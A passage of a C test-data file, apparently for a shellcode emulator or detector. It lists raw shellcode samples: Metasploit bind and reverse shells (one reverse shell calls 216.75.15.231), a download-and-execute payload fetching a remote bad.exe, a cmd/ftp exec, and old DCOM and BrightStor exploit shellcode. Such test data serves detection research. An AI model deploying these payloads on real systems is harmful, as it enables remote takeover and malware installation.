\x2f\\x1d\\xc6\\xb6\\xb8\\x51\"\n\t\t\"\\xb2\\x33\\x66\\xc2\\x3c\\xed\\x67\\x34\",\n\n\t\t.codesize = 344,\n\t\t.in_state.reg  = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg\n\t\t.in_state.mem_state = {0, 0},\n\t},\n\t{\n\t\t.instr = \"win32_bind -  EXITFUNC=seh LPORT=4444 Size=349 Encoder=JmpCallAdditive http://metasploit.com\",\n\t\t.code =  \n\t\t\"\\xfc\\xbb\\x1e\\x88\\xb8\\x04\\xeb\\x0c\\x5e\\x56\\x31\\x1e\\xad\\x01\\xc3\\x85\"\n\t\t\"\\xc0\\x75\\xf7\\xc3\\xe8\\xef\\xff\\xff\\xff\\xe2\\xe2\\x53\\x49\\xf2\\x0a\\x5c\"\n\t\t\"\\xad\\xfd\\x8d\\x28\\x3e\\x25\\x6a\\xa4\\xfa\\x19\\xf9\\xc6\\x01\\x19\\xfc\\xd9\"\n\t\t\"\\x81\\x96\\xe6\\xae\\xc9\\x08\\x16\\x5a\\xbc\\xc3\\x2c\\x17\\x3e\\x3d\\x7d\\xe7\"\n\t\t\"\\xd8\\x6d\\xfa\\x27\\xae\\x6a\\xc2\\x62\\x42\\x75\\x06\\x99\\xa9\\x4e\\xd2\\x7a\"\n\t\t\"\\x7a\\xc5\\x3f\\x09\\x25\\x01\\xc1\\xe5\\xbc\\xc2\\xcd\\xb2\\xcb\\x8b\\xd1\\x45\"\n\t\t\"\\x27\\x30\\xc6\\xce\\x3e\\x5a\\x32\\xcd\\x21\\x61\\x0b\\x36\\xc5\\xee\\x2f\\xf8\"\n\t\t\"\\x8d\\xb0\\xa3\\x73\\xe1\\x2c\\x11\\x08\\x42\\x44\\x37\\x67\\xcd\\x1a\\xc9\\x9b\"\n\t\t\"\\x81\\x5d\\x03\\x05\\x71\\xc7\\xc4\\xf9\\x47\\x6f\\x62\\x8d\\x95\\x30\\xd8\\x8e\"\n\t\t\"\\x0a\\xa6\\x2b\\x9d\\x57\\x0d\\xfc\\xa1\\x7e\\x2e\\x75\\xb8\\x19\\x51\\x68\\x4b\"\n\t\t\"\\xe4\\x04\\x19\\x4e\\x17\\x76\\xb5\\x97\\xee\\x83\\xeb\\x7f\\x0e\\xbd\\xa7\\x2c\"\n\t\t\"\\xa3\\x12\\x1b\\x90\\x10\\xd7\\xc8\\xe9\\x47\\xb1\\x86\\x04\\x34\\x5b\\x04\\xae\"\n\t\t\"\\x25\\x36\\xc2\\x14\\xbf\\x48\\xd4\\x02\\x3f\\x7e\\xb0\\xbc\\xee\\x2b\\xba\\x6d\"\n\t\t\"\\x78\\x77\\xe9\\xa0\\x90\\x20\\x0d\\x6a\\x31\\x9b\\x0e\\x43\\xde\\xc6\\xb8\\xe2\"\n\t\t\"\\x56\\x5f\\xc4\\x3d\\x38\\x0b\\x6e\\x97\\x46\\x63\\x1d\\x7f\\x5e\\xfa\\xe4\\xf9\"\n\t\t\"\\xf7\\x03\\x3e\\xac\\x08\\x2b\\xd9\\x25\\x93\\xad\\x4e\\xd9\\x36\\xb8\\x6a\\x77\"\n\t\t\"\\x99\\xe3\\x5d\\x44\\x90\\xf4\\xf4\\x10\\x2a\\x18\\x39\\x59\\xdf\\x76\\xc4\\x1b\"\n\t\t\"\\x0d\\x78\\x7b\\xb0\\xde\\x09\\x06\\xf0\\x4b\\xba\\x5c\\x68\\xfe\\x42\\x11\\x7f\"\n\t\t\"\\x01\\xcf\\x12\\x7f\\x2b\\x74\\xcc\\x2d\\x85\\xdb\\xa3\\xbb\\x24\\x8a\\x12\\x69\"\n\t\t\"\\x76\\xd3\\x45\\xf9\\xd5\\xf2\\x63\\x34\\x76\\xfb\\xba\\xa2\\x86\\xfc\\x74\\xcc\"\n\t\t\"\\xa9\\x89\\x2c\\xce\\xc9\\x49\\xb6\\xd1\\x18\\x03\\xc8\\xfe\\xcd\\x53\\xbc\\xfb\"\n\t\t\"\\x52\\xc0\\x3e\\xd5\\x92\\x36\\xc0\\xda\\x6c\\xb6\\xc1\\xda\\x6c\",\n\t\t.codesize = 349,\n\t\t.in_state.reg  = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg\n\t\t.in_state.mem_state = {0, 0},\n\t},\n\t{\n\t\t.instr = \"win32_reverse -  EXITFUNC=seh LHOST=216.75.15.231 LPORT=4321 Size=287 Encoder=None http://metasploit.com\",\n\t\t.code =\n\t\t\"\\xfc\\x6a\\xeb\\x4d\\xe8\\xf9\\xff\\xff\\xff\\x60\\x8b\\x6c\\x24\\x24\\x8b\\x45\"\n\t\t\"\\x3c\\x8b\\x7c\\x05\\x78\\x01\\xef\\x8b\\x4f\\x18\\x8b\\x5f\\x20\\x01\\xeb\\x49\"\n\t\t\"\\x8b\\x34\\x8b\\x01\\xee\\x31\\xc0\\x99\\xac\\x84\\xc0\\x74\\x07\\xc1\\xca\\x0d\"\n\t\t\"\\x01\\xc2\\xeb\\xf4\\x3b\\x54\\x24\\x28\\x75\\xe5\\x8b\\x5f\\x24\\x01\\xeb\\x66\"\n\t\t\"\\x8b\\x0c\\x4b\\x8b\\x5f\\x1c\\x01\\xeb\\x03\\x2c\\x8b\\x89\\x6c\\x24\\x1c\\x61\"\n\t\t\"\\xc3\\x31\\xdb\\x64\\x8b\\x43\\x30\\x8b\\x40\\x0c\\x8b\\x70\\x1c\\xad\\x8b\\x40\"\n\t\t\"\\x08\\x5e\\x68\\x8e\\x4e\\x0e\\xec\\x50\\xff\\xd6\\x66\\x53\\x66\\x68\\x33\\x32\"\n\t\t\"\\x68\\x77\\x73\\x32\\x5f\\x54\\xff\\xd0\\x68\\xcb\\xed\\xfc\\x3b\\x50\\xff\\xd6\"\n\t\t\"\\x5f\\x89\\xe5\\x66\\x81\\xed\\x08\\x02\\x55\\x6a\\x02\\xff\\xd0\\x68\\xd9\\x09\"\n\t\t\"\\xf5\\xad\\x57\\xff\\xd6\\x53\\x53\\x53\\x53\\x43\\x53\\x43\\x53\\xff\\xd0\\x68\"\n\t\t\"\\xd8\\x4b\\x0f\\xe7\\x66\\x68\\x10\\xe1\\x66\\x53\\x89\\xe1\\x95\\x68\\xec\\xf9\"\n\t\t\"\\xaa\\x60\\x57\\xff\\xd6\\x6a\\x10\\x51\\x55\\xff\\xd0\\x66\\x6a\\x64\\x66\\x68\"\n\t\t\"\\x63\\x6d\\x6a\\x50\\x59\\x29\\xcc\\x89\\xe7\\x6a\\x44\\x89\\xe2\\x31\\xc0\\xf3\"\n\t\t\"\\xaa\\x95\\x89\\xfd\\xfe\\x42\\x2d\\xfe\\x42\\x2c\\x8d\\x7a\\x38\\xab\\xab\\xab\"\n\t\t\"\\x68\\x72\\xfe\\xb3\\x16\\xff\\x75\\x28\\xff\\xd6\\x5b\\x57\\x52\\x51\\x51\\x51\"\n\t\t\"\\x6a\\x01\\x51\\x51\\x55\\x51\\xff\\xd0\\x68\\xad\\xd9\\x05\\xce\\x53\\xff\\xd6\"\n\t\t\"\\x6a\\xff\\xff\\x37\\xff\\xd0\\x68\\xe7\\x79\\xc6\\x79\\xff\\x75\\x04\\xff\\xd6\"\n\t\t\"\\xff\\x77\\xfc\\xff\\xd0\\x68\\xf0\\x8a\\x04\\x5f\\x53\\xff\\xd6\\xff\\xd0\",\n\n\t\t.codesize = 287,\n\t\t.in_state.reg  = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg\n\t\t.in_state.mem_state = {0, 0},\n\t},\n\t{\n\t\t.instr = \"win32_downloadexec -  URL=http://nepenthes.mwcollect.org/bad.exe Size=378 Encoder=None http://metasploit.com\",\n\t\t.code =  \n\t\t\"\\xeb\\x10\\x5a\\x4a\\x33\\xc9\\x66\\xb9\\x3c\\x01\\x80\\x34\\x0a\\x99\\xe2\\xfa\"\n\t\t\"\\xeb\\x05\\xe8\\xeb\\xff\\xff\\xff\\x70\\x4c\\x99\\x99\\x99\\xc3\\xfd\\x38\\xa9\"\n\t\t\"\\x99\\x99\\x99\\x12\\xd9\\x95\\x12\\xe9\\x85\\x34\\x12\\xd9\\x91\\x12\\x41\\x12\"\n\t\t\"\\xea\\xa5\\x12\\xed\\x87\\xe1\\x9a\\x6a\\x12\\xe7\\xb9\\x9a\\x62\\x12\\xd7\\x8d\"\n\t\t\"\\xaa\\x74\\xcf\\xce\\xc8\\x12\\xa6\\x9a\\x62\\x12\\x6b\\xf3\\x97\\xc0\\x6a\\x3f\"\n\t\t\"\\xed\\x91\\xc0\\xc6\\x1a\\x5e\\x9d\\xdc\\x7b\\x70\\xc0\\xc6\\xc7\\x12\\x54\\x12\"\n\t\t\"\\xdf\\xbd\\x9a\\x5a\\x48\\x78\\x9a\\x58\\xaa\\x50\\xff\\x12\\x91\\x12\\xdf\\x85\"\n\t\t\"\\x9a\\x5a\\x58\\x78\\x9b\\x9a\\x58\\x12\\x99\\x9a\\x5a\\x12\\x63\\x12\\x6e\\x1a\"\n\t\t\"\\x5f\\x97\\x12\\x49\\xf3\\x9d\\xc0\\x71\\xc9\\x99\\x99\\x99\\x1a\\x5f\\x94\\xcb\"\n\t\t\"\\xcf\\x66\\xce\\x65\\xc3\\x12\\x41\\xf3\\x98\\xc0\\x71\\xa4\\x99\\x99\\x99\\x1a\"\n\t\t\"\\x5f\\x8a\\xcf\\xdf\\x19\\xa7\\x19\\xec\\x63\\x19\\xaf\\x19\\xc7\\x1a\\x75\\xb9\"\n\t\t\"\\x12\\x45\\xf3\\xb9\\xca\\x66\\xce\\x75\\x5e\\x9d\\x9a\\xc5\\xf8\\xb7\\xfc\\x5e\"\n\t\t\"\\xdd\\x9a\\x9d\\xe1\\xfc\\x99\\x99\\xaa\\x59\\xc9\\xc9\\xca\\xcf\\xc9\\x66\\xce\"\n\t\t\"\\x65\\x12\\x45\\xc9\\xca\\x66\\xce\\x69\\xc9\\x66\\xce\\x6d\\xaa\\x59\\x35\\x1c\"\n\t\t\"\\x59\\xec\\x60\\xc8\\xcb\\xcf\\xca\\x66\\x4b\\xc3\\xc0\\x32\\x7b\\x77\\xaa\\x59\"\n\t\t\"\\x5a\\x71\\xbf\\x66\\x66\\x66\\xde\\xfc\\xed\\xc9\\xeb\\xf6\\xfa\\xd8\\xfd\\xfd\"\n\t\t\"\\xeb\\xfc\\xea\\xea\\x99\\xde\\xfc\\xed\\xca\\xe0\\xea\\xed\\xfc\\xf4\\xdd\\xf0\"\n\t\t\"\\xeb\\xfc\\xfa\\xed\\xf6\\xeb\\xe0\\xd8\\x99\\xce\\xf0\\xf7\\xdc\\xe1\\xfc\\xfa\"\n\t\t\"\\x99\\xdc\\xe1\\xf0\\xed\\xcd\\xf1\\xeb\\xfc\\xf8\\xfd\\x99\\xd5\\xf6\\xf8\\xfd\"\n\t\t\"\\xd5\\xf0\\xfb\\xeb\\xf8\\xeb\\xe0\\xd8\\x99\\xec\\xeb\\xf5\\xf4\\xf6\\xf7\\x99\"\n\t\t\"\\xcc\\xcb\\xd5\\xdd\\xf6\\xee\\xf7\\xf5\\xf6\\xf8\\xfd\\xcd\\xf6\\xdf\\xf0\\xf5\"\n\t\t\"\\xfc\\xd8\\x99\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6e\\x65\\x70\\x65\\x6e\\x74\"\n\t\t\"\\x68\\x65\\x73\\x2e\\x6d\\x77\\x63\\x6f\\x6c\\x6c\\x65\\x63\\x74\\x2e\\x6f\\x72\"\n\t\t\"\\x67\\x2f\\x62\\x61\\x64\\x2e\\x65\\x78\\x65\\x80\",\n\t\t.codesize = 378,\n\t\t.in_state.reg  = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg\n\t\t.in_state.mem_state = {0, 0},\n\t},\n\t{\n\t\t.instr = \"win32_exec -  EXITFUNC=seh CMD=cmd -c ftp.exe -s foo.scripted_sequence; echo der fox hat die gans gezogen  Size=205 Encoder=None http://metasploit.com\",\n\t\t.code =  \"\\xfc\\xe8\\x44\\x00\\x00\\x00\\x8b\\x45\\x3c\\x8b\\x7c\\x05\\x78\\x01\\xef\\x8b\"\n\t\t\t\t \"\\x4f\\x18\\x8b\\x5f\\x20\\x01\\xeb\\x49\\x8b\\x34\\x8b\\x01\\xee\\x31\\xc0\\x99\"\n\t\t\t\t \"\\xac\\x84\\xc0\\x74\\x07\\xc1\\xca\\x0d\\x01\\xc2\\xeb\\xf4\\x3b\\x54\\x24\\x04\"\n\t\t\t\t \"\\x75\\xe5\\x8b\\x5f\\x24\\x01\\xeb\\x66\\x8b\\x0c\\x4b\\x8b\\x5f\\x1c\\x01\\xeb\"\n\t\t\t\t \"\\x8b\\x1c\\x8b\\x01\\xeb\\x89\\x5c\\x24\\x04\\xc3\\x31\\xc0\\x64\\x8b\\x40\\x30\"\n\t\t\t\t \"\\x85\\xc0\\x78\\x0c\\x8b\\x40\\x0c\\x8b\\x70\\x1c\\xad\\x8b\\x68\\x08\\xeb\\x09\"\n\t\t\t\t \"\\x8b\\x80\\xb0\\x00\\x00\\x00\\x8b\\x68\\x3c\\x5f\\x31\\xf6\\x60\\x56\\x89\\xf8\"\n\t\t\t\t \"\\x83\\xc0\\x7b\\x50\\x68\\xf0\\x8a\\x04\\x5f\\x68\\x98\\xfe\\x8a\\x0e\\x57\\xff\"\n\t\t\t\t \"\\xe7\\x63\\x6d\\x64\\x20\\x2d\\x63\\x20\\x66\\x74\\x70\\x2e\\x65\\x78\\x65\\x20\"\n\t\t\t\t \"\\x2d\\x73\\x20\\x66\\x6f\\x6f\\x2e\\x73\\x63\\x72\\x69\\x70\\x74\\x65\\x64\\x5f\"\n\t\t\t\t \"\\x73\\x65\\x71\\x75\\x65\\x6e\\x63\\x65\\x3b\\x20\\x65\\x63\\x68\\x6f\\x20\\x64\"\n\t\t\t\t \"\\x65\\x72\\x20\\x66\\x6f\\x78\\x20\\x68\\x61\\x74\\x20\\x64\\x69\\x65\\x20\\x67\"\n\t\t\t\t \"\\x61\\x6e\\x73\\x20\\x67\\x65\\x7a\\x6f\\x67\\x65\\x6e\\x20\\x00\",\n\t\t.codesize = 205,\n\t\t.in_state.reg  = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg\n\t\t.in_state.mem_state = {0, 0},\n\t},\n\t{\n\t\t.instr = \"some old dcom shellcode\",\n\t\t.code = \n\t\t\"\\xeb\\x19\\x5e\\x31\\xc9\\x81\\xe9\\x89\\xff\\xff\\xff\\x81\\x36\\x80\\xbf\\x32\"\t // 0x0090  ..^1....  ....6..2\"\n\t\t\"\\x94\\x81\\xee\\xfc\\xff\\xff\\xff\\xe2\\xf2\\xeb\\x05\\xe8\\xe2\\xff\\xff\\xff\"\t // 0x00a0  ........  ........\"\n\t\t\"\\x03\\x53\\x06\\x1f\\x74\\x57\\x75\\x95\\x80\\xbf\\xbb\\x92\\x7f\\x89\\x5a\\x1a\"\t // 0x00b0  .S..tWu.  ......Z.\"\n\t\t\"\\xce\\xb1\\xde\\x7c\\xe1\\xbe\\x32\\x94\\x09\\xf9\\x3a\\x6b\\xb6\\xd7\\x9f\\x4d\"\t // 0x00c0  ...|..2.  ..:k...M\"\n\t\t\"\\x85\\x71\\xda\\xc6\\x81\\xbf\\x32\\x1d\\xc6\\xb3\\x5a\\xf8\\xec\\xbf\\x32\\xfc\"\t // 0x00d0  .q....2.  ..Z...2.\"\n\t\t\"\\xb3\\x8d\\x1c\\xf0\\xe8\\xc8\\x41\\xa6\\xdf\\xeb\\xcd\\xc2\\x88\\x36\\x74\\x90\"\t // 0x00e0  ......A.  .....6t.\"\n\t\t\"\\x7f\\x89\\x5a\\xe6\\x7e\\x0c\\x24\\x7c\\xad\\xbe\\x32\\x94\\x09\\xf9\\x22\\x6b\"\t // 0x00f0  ..Z.~.$|  ..2...\"k\"\n\t\t\"\\xb6\\xd7\\x4c\\x4c\\x62\\xcc\\xda\\x8a\\x81\\xbf\\x32\\x1d\\xc6\\xab\\xcd\\xe2\"\t // 0x0100  ..LLb...  ..2.....\"\n\t\t\"\\x84\\xd7\\xf9\\x79\\x7c\\x84\\xda\\x9a\\x81\\xbf\\x32\\x1d\\xc6\\xa7\\xcd\\xe2\"\t // 0x0110  ...y|...  ..2.....\"\n\t\t\"\\x84\\xd7\\xeb\\x9d\\x75\\x12\\xda\\x6a\\x80\\xbf\\x32\\x1d\\xc6\\xa3\\xcd\\xe2\"\t // 0x0120  ....u..j  ..2.....\"\n\t\t\"\\x84\\xd7\\x96\\x8e\\xf0\\x78\\xda\\x7a\\x80\\xbf\\x32\\x1d\\xc6\\x9f\\xcd\\xe2\"\t // 0x0130  .....x.z  ..2.....\"\n\t\t\"\\x84\\xd7\\x96\\x39\\xae\\x56\\xda\\x4a\\x80\\xbf\\x32\\x1d\\xc6\\x9b\\xcd\\xe2\"\t // 0x0140  ...9.V.J  ..2.....\"\n\t\t\"\\x84\\xd7\\xd7\\xdd\\x06\\xf6\\xda\\x5a\\x80\\xbf\\x32\\x1d\\xc6\\x97\\xcd\\xe2\"\t // 0x0150  .......Z  ..2.....\"\n\t\t\"\\x84\\xd7\\xd5\\xed\\x46\\xc6\\xda\\x2a\\x80\\xbf\\x32\\x1d\\xc6\\x93\\x01\\x6b\"\t // 0x0160  ....F..*  ..2....k\"\n\t\t\"\\x01\\x53\\xa2\\x95\\x80\\xbf\\x66\\xfc\\x81\\xbe\\x32\\x94\\x7f\\xe9\\x2a\\xc4\"\t // 0x0170  .S....f.  ..2...*.\"\n\t\t\"\\xd0\\xef\\x62\\xd4\\xd0\\xff\\x62\\x6b\\xd6\\xa3\\xb9\\x4c\\xd7\\xe8\\x5a\\x96\"\t // 0x0180  ..b...bk  ...L..Z.\"\n\t\t\"\\x80\\xae\\x6e\\x1f\\x4c\\xd5\\x24\\xc5\\xd3\\x40\\x64\\xb4\\xd7\\xec\\xcd\\xc2\"\t // 0x0190  ..n.L.$.  .@d.....\"\n\t\t\"\\xa4\\xe8\\x63\\xc7\\x7f\\xe9\\x1a\\x1f\\x50\\xd7\\x57\\xec\\xe5\\xbf\\x5a\\xf7\"\t // 0x01a0  ..c.....  P.W...Z.\"\n\t\t\"\\xed\\xdb\\x1c\\x1d\\xe6\\x8f\\xb1\\x78\\xd4\\x32\\x0e\\xb0\\xb3\\x7f\\x01\\x5d\"\t // 0x01b0  .......x  .2.....]\"\n\t\t\"\\x03\\x7e\\x27\\x3f\\x62\\x42\\xf4\\xd0\\xa4\\xaf\\x76\\x6a\\xc4\\x9b\\x0f\\x1d\"\t // 0x01c0  .~'?bB..  ..vj....\"\n\t\t\"\\xd4\\x9b\\x7a\\x1d\\xd4\\x9b\\x7e\\x1d\\xd4\\x9b\\x62\\x19\\xc4\\x9b\\x22\\xc0\"\t // 0x01d0  ..z...~.  ..b...\".\"\n\t\t\"\\xd0\\xee\\x63\\xc5\\xea\\xbe\\x63\\xc5\\x7f\\xc9\\x02\\xc5\\x7f\\xe9\\x22\\x1f\"\t // 0x01e0  ..c...c.  ......\".\"\n\t\t\"\\x4c\\xd5\\xcd\\x6b\\xb1\\x40\\x64\\x98\\x0b\\x77\\x65\\x6b\\xd6\\x93\\xcd\\xc2\"\t // 0x01f0  L..k.@d.  .wek....\"\n\t\t\"\\x94\\xea\\x64\\xf0\\x21\\x8f\\x32\\x94\\x80\\x3a\\xf2\\xec\\x8c\\x34\\x72\\x98\"\t // 0x0200  ..d.!.2.  .:...4r.\"\n\t\t\"\\x0b\\xcf\\x2e\\x39\\x0b\\xd7\\x3a\\x7f\\x89\\x34\\x72\\xa0\\x0b\\x17\\x8a\\x94\"\t // 0x0210  ...9..:.  .4r.....\"\n\t\t\"\\x80\\xbf\\xb9\\x51\\xde\\xe2\\xf0\\x90\\x80\\xec\\x67\\xc2\\xd7\\x34\\x5e\\xb0\"\t // 0x0220  ...Q....  ..g..4^.\"\n\t\t\"\\x98\\x34\\x77\\xa8\\x0b\\xeb\\x37\\xec\\x83\\x6a\\xb9\\xde\\x98\\x34\\x68\\xb4\"\t // 0x0230  .4w...7.  .j...4h.\"\n\t\t\"\\x83\\x62\\xd1\\xa6\\xc9\\x34\\x06\\x1f\\x83\\x4a\\x01\\x6b\\x7c\\x8c\\xf2\\x38\"\t // 0x0240  .b...4..  .J.k|..8\"\n\t\t\"\\xba\\x7b\\x46\\x93\\x41\\x70\\x3f\\x97\\x78\\x54\\xc0\\xaf\\xfc\\x9b\\x26\\xe1\"\t // 0x0250  .{F.Ap?.  xT....&.\"\n\t\t\"\\x61\\x34\\x68\\xb0\\x83\\x62\\x54\\x1f\\x8c\\xf4\\xb9\\xce\\x9c\\xbc\\xef\\x1f\"\t // 0x0260  a4h..bT.  ........\"\n\t\t\"\\x84\\x34\\x31\\x51\\x6b\\xbd\\x01\\x54\\x0b\\x6a\\x6d\\xca\\xdd\\xe4\\xf0\\x90\"\t // 0x0270  .41Qk..T  .jm.....\"\n\t\t\"\\x80\\x2f\\xa2\\x04\\x00\\x5c\\x00\\x43\\x00\\x24\\x00\\x5c\\x00\\x31\\x00\\x32\"\t // 0x0280  ./...\\.C  .$.\\.1.2\"\n\t\t\"\\x00\\x33\\x00\\x34\\x00\\x35\\x00\\x36\\x00\\x31\\x00\\x31\\x00\\x31\\x00\\x31\"\t // 0x0290  .3.4.5.6  .1.1.1.1\"\n\t\t\"\\x00\\x31\\x00\\x31\\x00\\x31\\x00\\x31\\x00\\x31\\x00\\x31\\x00\\x31\\x00\\x31\"\t // 0x02a0  .1.1.1.1  .1.1.1.1\"\n\t\t\"\\x00\\x31\\x00\\x31\\x00\\x31\\x00\\x2e\\x00\\x64\\x00\\x6f\\x00\\x63\\x00\\x00\"\t // 0x02b0  .1.1.1..  .d.o.c..\"\n\t\t\"\\x00\\x01\\x10\\x08\\x00\\xcc\\xcc\\xcc\\xcc\\x20\\x00\\x00\\x00\\x30\\x00\\x2d\"\t // 0x02c0  ........  . ...0.-\"\n\t\t\"\\x00\\x00\\x00\\x00\\x00\\x88\\x2a\\x0c\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x00\"\t // 0x02d0  ......*.  ........\"\n\t\t\"\\x00\\x28\\x8c\\x0c\\x00\\x01\\x00\\x00\\x00\\x07\\x00\\x00\\x00\\x00\\x00\\x00\"\t // 0x02e0  .(......  ........\"\n\t\t\"\\x00\",\n\t\t.codesize = 593,\n\t\t.in_state.reg  = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg\n\t\t.in_state.mem_state = {0, 0},\n\t},\n\t{\n\t\t.instr = \"brihgtstor discovery\",\n\t\t.code =  \n\t\t\"\\xeb\\x06\\x41\\x41\\x14\\x57\\x80\\x23\"\t  // 0x0030  AAAAAAAA  ..AA.W.#\"\n\t\t\"\\xeb\\x10\\x5b\\x4b\\x33\\xc9\\x66\\xb9\\x25\\x01\\x80\\x34\\x0b\\x99\\xe2\\xfa\"\t // 0x0040  ..[K3.f.  %..4....\"\n\t\t\"\\xeb\\x05\\xe8\\xeb\\xff\\xff\\xff\\x70\\x62\\x99\\x99\\x99\\xc6\\xfd\\x38\\xa9\"\t // 0x0050  .......p  b.....8.\"\n\t\t\"\\x99\\x99\\x99\\x12\\xd9\\x95\\x12\\xe9\\x85\\x34\\x12\\xf1\\x91\\x12\\x6e\\xf3\"\t // 0x0060  ........  .4....n.\"\n\t\t\"\\x9d\\xc0\\x71\\x02\\x99\\x99\\x99\\x7b\\x60\\xf1\\xaa\\xab\\x99\\x99\\xf1\\xee\"\t // 0x0070  ..q....{  `.......\"\n\t\t\"\\xea\\xab\\xc6\\xcd\\x66\\x8f\\x12\\x71\\xf3\\x9d\\xc0\\x71\\x1b\\x99\\x99\\x99\"\t // 0x0080  ....f..q  ...q....\"\n\t\t\"\\x7b\\x60\\x18\\x75\\x09\\x98\\x99\\x99\\xcd\\xf1\\x98\\x98\\x99\\x99\\x66\\xcf\"\t // 0x0090  {`.u....  ......f.\"\n\t\t\"\\x89\\xc9\\xc9\\xc9\\xc9\\xd9\\xc9\\xd9\\xc9\\x66\\xcf\\x8d\\x12\\x41\\xf1\\x59\"\t // 0x00a0  ........  .f...A.Y\"\n\t\t\"\\xec\\xe3\\xa0\\xf1\\x9b\\x99\\x66\\x63\\x12\\x55\\xf3\\x89\\xc8\\xca\\x66\\xcf\"\t // 0x00b0  ......fc  .U....f.\"\n\t\t\"\\x81\\x1c\\x59\\xec\\xd3\\xf1\\xfa\\xf4\\xfd\\x99\\x10\\xff\\xa9\\x1a\\x75\\xcd\"\t // 0x00c0  ..Y.....  ......u.\"\n\t\t\"\\x14\\xa5\\xbd\\xf3\\x8c\\xc0\\x32\\x7b\\x64\\x5f\\xdd\\xbd\\x89\\xdd\\x67\\xdd\"\t // 0x00d0  ......2{  d_....g.\"\n\t\t\"\\xbd\\xa4\\x10\\xc5\\xbd\\xd1\\x10\\xc5\\xbd\\xd5\\x10\\xc5\\xbd\\xc9\\x14\\xdd\"\t // 0x00e0  ........  ........\"\n\t\t\"\\xbd\\x89\\xcd\\xc9\\xc8\\xc8\\xc8\\xf3\\x98\\xc8\\xc8\\x66\\xef\\xa9\\xc8\\x66\"\t // 0x00f0  ........  ...f...f\"\n\t\t\"\\xcf\\x9d\\x12\\x55\\xf3\\x66\\x66\\xa8\\x66\\xcf\\x91\\xca\\x66\\xcf\\x85\\x66\"\t // 0x0100  ...U.ff.  f...f..f\"\n\t\t\"\\xcf\\x95\\xc8\\xcf\\x12\\xdc\\xa5\\x12\\xcd\\xb1\\xe1\\x9a\\x4c\\xcb\\x12\\xeb\"\t // 0x0110  ........  ....L...\"\n\t\t\"\\xb9\\x9a\\x6c\\xaa\\x50\\xd0\\xd8\\x34\\x9a\\x5c\\xaa\\x42\\x96\\x27\\x89\\xa3\"\t // 0x0120  ..l.P..4  .\\.B.'..\"\n\t\t\"\\x4f\\xed\\x91\\x58\\x52\\x94\\x9a\\x43\\xd9\\x72\\x68\\xa2\\x86\\xec\\x7e\\xc3\"\t // 0x0130  O..XR..C  .rh...~.\"\n\t\t\"\\x12\\xc3\\xbd\\x9a\\x44\\xff\\x12\\x95\\xd2\\x12\\xc3\\x85\\x9a\\x44\\x12\\x9d\"\t // 0x0140  ....D...  .....D..\"\n\t\t\"\\x12\\x9a\\x5c\\x32\\xc7\\xc0\\x5a\\x71\\x99\\x66\\x66\\x66\\x17\\xd7\\x97\\x75\"\t // 0x0150  ..\\2..Zq  .fff...u\"\n\t\t\"\\xeb\\x67\\x2a\\x8f\\x34\\x40\\x9c\\x57\\x76\\x57\\x79\\xf9\\x52\\x74\\x65\\xa2\"\t // 0x0160  .g*.4@.W  vWy.Rte.\"\n\t\t\"\\x40\\x90\\x6c\\x34\\x75\\x60\\x33\\xf9\\x7e\\xe0\\x5f\\xe0\\x41\\x41\\x41\\x41\",\t  // 0x0170  @.l4u`3.  ~._.AAAA\"\n\n\n\t\t.codesize = 329,\n\t\t.in_state.reg  = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg\n\t\t.in_state.mem_state = {0, 0},\n\t},\n\t{\n\t\t.instr = \"amberg\",\n\t\t.code =  \n\t\t\"\\x65\\x65\\x65\\x65\\x65\\x65\\x65\\x65\\x65\\x65\\x65\\x65\\xeb\\x02\\xeb\\x6b\"\n\t\t\"\\xe8\\xf9\\xff\\xff\\xff\\x53\\x55\\x56\\x57\\x8b\\x6c\\x24\\x18\\x8b\\x45\\x3c\"\n\t\t\"\\x8b\\x54\\x05\\x78\\x03\\xd5\\x8b\\x4a\\x18\\x8b\\x5a\\x20\\x03\\xdd\\xe3\\x32\"\n\t\t\"\\x49\\x8b\\x34\\x8b\\x03\\xf5\\x33\\xff\\xfc\\x33\\xc0\\xac\\x3a\\xc4\\x74\\x07\"\n\t\t\"\\xc1\\xcf\\x0d\\x03\\xf8\\xeb\\xf2\\x3b\\x7c\\x24\\x14\\x75\\xe1\\x8b\\x5a\\x24\"\n\t\t\"\\x03\\xdd\\x66\\x8b\\x0c\\x4b\\x8b\\x5a\\x1c\\x03\\xdd\\x8b\\x04\\x8b\\x03\\xc5\"\n\t\t\"\\xeb\\x02\\x33\\xc0\\x5f\\x5e\\x5d\\x5b\\x89\\x44\\x24\\x04\\x8b\\x04\\x24\\x89\"\n\t\t\"\\x44\\x24\\x08\\x8b\\x44\\x24\\x04\\x83\\xc4\\x08\\xc3\\x5e\\x6a\\x30\\x59\\x64\"\n\t\t\"\\x8b\\x19\\x8b\\x5b\\x0c\\x8b\\x5b\\x1c\\x8b\\x1b\\x8b\\x7b\\x08\\x83\\xec\\x1c\"\n\t\t\"\\x8b\\xec\\x33\\xc0\\x50\\x68\\x2e\\x65\\x78\\x65\\x89\\x65\\x14\\x57\\x68\\xea\"\n\t\t\"\\x49\\x8a\\xe8\\xff\\xd6\\x6a\\x06\\xff\\x75\\x14\\xff\\xd0\\x89\\x45\\x04\\x57\"\n\t\t\"\\x68\\xdb\\x8a\\x23\\xe9\\xff\\xd6\\x89\\x45\\x0c\\x57\\x68\\x8e\\x4e\\x0e\\xec\"\n\t\t\"\\xff\\xd6\\x33\\xc9\\x66\\xb9\\x6c\\x6c\\x51\\x68\\x33\\x32\\x2e\\x64\\x68\\x77\"\n\t\t\"\\x73\\x32\\x5f\\x54\\xff\\xd0\\x8b\\xd8\\x53\\x68\\xb6\\x19\\x18\\xe7\\xff\\xd6\"\n\t\t\"\\x89\\x45\\x10\\x53\\x68\\xe7\\x79\\xc6\\x79\\xff\\xd6\\x89\\x45\\x18\\x53\\x68\"\n\t\t\"\\x6e\\x0